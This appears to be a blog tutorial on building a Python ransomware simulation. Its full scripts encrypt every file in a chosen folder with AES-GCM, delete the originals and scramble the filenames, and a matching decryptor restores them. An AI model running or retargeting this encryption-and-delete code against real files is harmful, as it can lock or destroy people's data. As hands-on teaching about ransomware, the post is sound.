How to Make Your Own Ransomware with Python
In today’s digital landscape, understanding how ransomware works is crucial for anyone involved in cybersecurity. But what if you could simulate an actual ransomware attack in a controlled environment? In this post, we’ll guide you through how to make your own ransomware simulation using Python, showing how easy it can be to encrypt entire folders and documents. Let’s dive into this hands-on exploration of how ransomware operates, so you can be better prepared to stop it.
What is Ransomware?
Ransomware is a type of malware that locks users out of their files by encrypting them. The attackers then demand a ransom, often paid in cryptocurrency, in exchange for a decryption key. Without this key, victims can’t access their data. Ransomware has become one of the most common cyber threats, affecting individuals, companies, and even governments. Recovering files without paying the ransom is usually very difficult, as the encryption used is strong and complex. Attackers exploit this to pressure victims into paying quickly.
Step-by-Step Guide to Creating and Testing Your Own Ransomware
In this guide, you’ll learn how to create a basic ransomware simulation using Python to encrypt and decrypt files in a directory. This is purely for educational purposes, allowing you to better understand how ransomware operates and how encryption is used in real attacks. Do not use this maliciously.
Step 1: Install Required Libraries
We will be using the cryptography
library to handle file encryption and decryption. To install it, open your terminal and run the following command:
pip install cryptography
If you get an error like error: externally-managed-environment
then you must create a virtual environment using Python’s built-in venv
module. This is luckily very easy.
First, make sure the python3-venv
package is installed:
sudo apt install python3-venv
Then, create a virtual environment in a folder (e.g., myenv
):
python3 -m venv myenv
To activate the virtual environment, use the following command:
source myenv/bin/activate
You should now see the virtual environment’s name in your terminal prompt, indicating that the virtual environment is active.
Now that the virtual environment is activated, you can install packages using pip
inside it:
pip install cryptography
Step 2: Create Ransomware and Test Folder
Before creating the ransomware scripts in the following steps, lets create a folder for our files, as well as a folder that we can test our ransomware on.
sudo mkdir Ransomware
cd Ransomware
Create test folder and test file.
sudo mkdir test_folder
sudo touch test_file.txt
Add some text to the file.
echo "Your text here" > test_file.txt
Step 3: Create the Encryption Script
Let’s create the script that will encrypt all files in a directory. This script will generate a random encryption key, encrypt files, rename them with encrypted filenames, and remove the originals.
Create the Encrypt.py file.
sudo nano Encrypt.py
Paste in the following code.
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
def generate_key():
"""Generates a random 256-bit key for AES encryption."""
return os.urandom(32)
def encrypt_file(file_path, key):
"""Encrypts the content of a file using AES-GCM."""
nonce = os.urandom(16) # Generate a unique nonce for each file
with open(file_path, 'rb') as file:
file_data = file.read()
# Create the AES-GCM cipher object for the file content
encryptor = Cipher(algorithms.AES(key), modes.GCM(nonce), backend=default_backend()).encryptor()
# Encrypt the file contents
encrypted_data = encryptor.update(file_data) + encryptor.finalize()
tag = encryptor.tag # Get the authentication tag
# Write nonce, tag, and encrypted data to a new file
encrypted_file_path = file_path + '.encrypted'
with open(encrypted_file_path, 'wb') as enc_file:
enc_file.write(nonce) # Write the nonce first
enc_file.write(tag) # Write the tag second
enc_file.write(encrypted_data) # Write the encrypted data last
# Optionally remove the original file
os.remove(file_path)
return encrypted_file_path
def encrypt_filename(file_name, key):
"""Encrypts a file name using AES-GCM."""
nonce = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.GCM(nonce), backend=default_backend()).encryptor()
# Encrypt the file name
encrypted_name_bytes = encryptor.update(file_name.encode()) + encryptor.finalize()
tag = encryptor.tag
return nonce + tag + encrypted_name_bytes # Concatenate nonce, tag, and encrypted name
def encrypt_directory(directory_path, key):
"""Encrypts all files in a given directory and renames them."""
for root, dirs, files in os.walk(directory_path):
for file in files:
file_path = os.path.join(root, file)
print(f"Encrypting {file_path}")
# Encrypt the file and get the new path
encrypted_file_path = encrypt_file(file_path, key)
# Encrypt the file name
encrypted_name = encrypt_filename(file, key)
encrypted_file_name = encrypted_name.hex() + '.encrypted' # Convert to hex for safe naming
# Rename the encrypted file
os.rename(encrypted_file_path, os.path.join(root, encrypted_file_name))
def main():
key = generate_key() # Generate a new encryption key
directory_path = 'test_folder' # Specify the directory to encrypt
encrypt_directory(directory_path, key)
# Save the key for decryption
with open('encryption_key.bin', 'wb') as key_file:
key_file.write(key)
print("Encryption complete! Key saved to 'encryption_key.bin'.")
if __name__ == "__main__":
main()
Step 4: Create the Decryption Script
After encrypting your files, you’ll need to decrypt them. This script will read the encryption key and use it to restore your files to their original state.
sudo nano Decrypt.py
Paste in the following decryption script.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os
def decrypt_file(encrypted_file_path, key):
"""Decrypts the content of a file using AES-GCM."""
with open(encrypted_file_path, 'rb') as enc_file:
nonce = enc_file.read(16) # Read the nonce
tag = enc_file.read(16) # Read the tag
encrypted_data = enc_file.read() # Read the encrypted data
# Set up AES-GCM decryption
decryptor = Cipher(algorithms.AES(key), modes.GCM(nonce, tag), backend=default_backend()).decryptor()
# Decrypt the data
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# Write the decrypted data back to a temporary file
original_file_path = encrypted_file_path.replace('.encrypted', '')
with open(original_file_path, 'wb') as orig_file:
orig_file.write(decrypted_data)
return original_file_path # Return the original file path for renaming
def decrypt_filename(encrypted_name, key):
"""Decrypts an encrypted file name using AES-GCM."""
nonce = encrypted_name[:16] # First 16 bytes are the nonce
tag = encrypted_name[16:32] # Next 16 bytes are the tag
encrypted_name_bytes = encrypted_name[32:] # Remaining bytes are the encrypted name
# Set up AES-GCM decryption for the file name
decryptor = Cipher(algorithms.AES(key), modes.GCM(nonce, tag), backend=default_backend()).decryptor()
# Decrypt the name
decrypted_name_bytes = decryptor.update(encrypted_name_bytes) + decryptor.finalize()
return decrypted_name_bytes.decode() # Return the decrypted name as a string
def decrypt_directory(directory_path, key):
"""Decrypts all files in a given directory."""
for root, dirs, files in os.walk(directory_path):
for file in files:
if file.endswith('.encrypted'):
encrypted_file_path = os.path.join(root, file)
print(f"Decrypting {encrypted_file_path}")
# Decrypt the file content and get the original file path
original_file_path = decrypt_file(encrypted_file_path, key)
# Decrypt the file name
encrypted_name_bytes = bytes.fromhex(file[:-10]) # Remove the '.encrypted' suffix
original_file_name = decrypt_filename(encrypted_name_bytes, key)
# Construct the full original file path
new_file_path = os.path.join(root, original_file_name)
# Rename the decrypted file
os.rename(original_file_path, new_file_path)
# Remove the encrypted file
os.remove(encrypted_file_path)
def main():
# Load the encryption key from the file
with open('encryption_key.bin', 'rb') as key_file:
key = key_file.read()
directory_path = 'test_folder' # Specify the directory to decrypt
decrypt_directory(directory_path, key)
print("Decryption complete!")
if __name__ == "__main__":
main()
Step 5: Set the Directory to Encrypt/Decrypt
In both scripts, update the directory_path
variable to point to the folder you want to encrypt or decrypt.
For example:
directory_path = '/home/username/Documents/test_folder'
Important!
Do not encrypt folders or files that are important to you, as there is a change that you might not be able to decrypt or damage the files. Only use this for testing and educational purposes.
Step 6: Run the Encryption Script
Once you’ve updated the directory path, run the encryption script to simulate a ransomware attack. Open a terminal and execute:
sudo python3 Encrypt.py
This will encrypt all the files in the specified folder and save the encryption key to a file named encryption_key.bin. Make sure to keep this key safe for decryption!
Lets have a look at what happened to our test file. As we can see, it no longer is named test_file.txt
but instead a long string with .encrypted as the end. Furthermore, the random text that we inserted into the file, has now been replaced with encrypted characters.
Step 7: Run the Decryption Script
After testing the encryption, you can decrypt the files using the decryption script. Run the following command:
python3 Decrypt.py
This will use the saved encryption key to decrypt all the encrypted files in the folder and restore their original content.
The original file with the original content can now be seen again.
Step 8: Understand the Encryption Process
- Encryption Key: A 256-bit key is generated using Python’s
os.urandom(32)
and is crucial for both encrypting and decrypting files. - AES-GCM: AES-GCM (Galois/Counter Mode) is a strong encryption mode that ensures both confidentiality and data integrity. It uses a nonce and a tag for security.
- File Handling: The scripts remove the original file after encryption and remove the encrypted file after decryption to simulate how ransomware operates.
Important Notes:
- Educational Use Only: This ransomware simulation is meant for ethical testing in controlled environments, such as home labs. Never use these techniques maliciously.
- Backup Your Data: Before running the encryption script, ensure that you have backups of your files to avoid accidental data loss.
By following this guide, you’ll gain a deeper understanding of how ransomware works and how encryption can be applied in real-world scenarios.